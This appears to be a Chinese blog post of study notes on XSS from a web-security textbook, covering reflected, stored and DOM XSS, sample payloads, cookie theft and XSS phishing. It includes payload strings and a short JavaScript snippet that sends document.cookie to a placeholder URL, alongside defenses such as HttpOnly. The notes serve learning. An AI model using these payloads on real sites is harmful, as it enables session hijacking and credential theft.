这几天在看吴翰清老师的《白帽子讲Web安全》,打算系统性把Web安全学习一遍。
首先第一章:XSS攻击:XSS(Cross site Script) 全称跨站脚本攻击
简介
- 反射性XSS(将用户输入的数据给浏览器,非持久性XSS)
- 存储型XSS(恶意js存在server端)(知乎曾经的XSS漏洞)
- DOM Based XSS(通过修改页面DOM节点形成XSS)
- 闭合前面单引号,//注释后面
Payload: ‘ onclick=alert(/XSS/) //
- 闭合a标签插入新标签
Payload: ‘><img src=# onerror=alert(/XSS/) /><’
进阶
- Cookie 劫持:
var img=document.creatElement(“img”);
Img.src=”URL”+escape(document.cookie);
Document.body.appendChild(img)
相当于cookie附在链接中在目标服务器留下日志
登录抓包,替换cookie实现登录目标账户
防止Cookie劫持:
- Cookie的Httponly标识
- 客户端IP与cookies绑定
- 构造POST与GET请求:
让用户执行Payload从而实现操作
(已知删除文章链接,将连接写进图片发起GET请求,从而实现用户点击图片执行Payload删除文章)
JS:
var img=document.creatElement(“img”);
Img.src=”PAYLOAD”;
document.body.appendChild(img))
JS模拟浏览器发包
JS:
var dd = document.creatElement(“div”);
Document.body.appendChild(dd);
dd.innerHTML = ‘表单数据’
document.getElementById(“xssfrom”).submit();
3.XSS钓鱼
增加了与用户的交互环节,比如输入Old Password
- 利用JS伪造登录框,表单讲用户名密码发送目标服务器
- XSS Payload读取页面内容,在远程XSS后台接收验证码
4.获取用户信息
- 识别用户浏览器 Alert(navigator,userAgent)识别UA
- 识别安装软件和硬件配置
- 识别真实IP
(二)
1.XSS攻击平台
将XSS Payload封装起来的一套系统,常见的有:
- Attack API
- BeEF
- XSS-Proxy
- XSS Worm
XSS蠕虫病毒,XSS的终极利用方式,破坏力和影响力巨大,一般存在用户发生交互行为页面,如果存在存储型XSS,容易发起XSS Worm攻击。
XSS Worm高发区:站内信、用户留言
Comments NOTHING